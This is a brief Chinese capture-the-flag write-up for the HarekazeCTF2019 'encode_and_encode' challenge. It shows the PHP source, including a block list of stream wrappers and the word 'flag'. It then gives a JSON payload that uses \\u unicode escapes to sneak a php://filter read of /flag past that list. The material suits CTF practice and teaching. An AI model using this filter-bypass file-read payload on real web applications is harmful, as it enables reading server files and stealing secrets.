HarekazeCTF2019encode_and_encode

给了源码 

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 <?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

构造假的json和配合php伪协议 即可读取flag 

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{ "page" : 
"php://filter/convert.base64-encode/resource=/flag"}

就是这么个格式就可以但是php这被过掉了 需要知道一点json中可以将\uxxxx转义成字符
php->\u0070\u0068\u0070
flag->\u0066\u006c\u0061\u0067 就可以了

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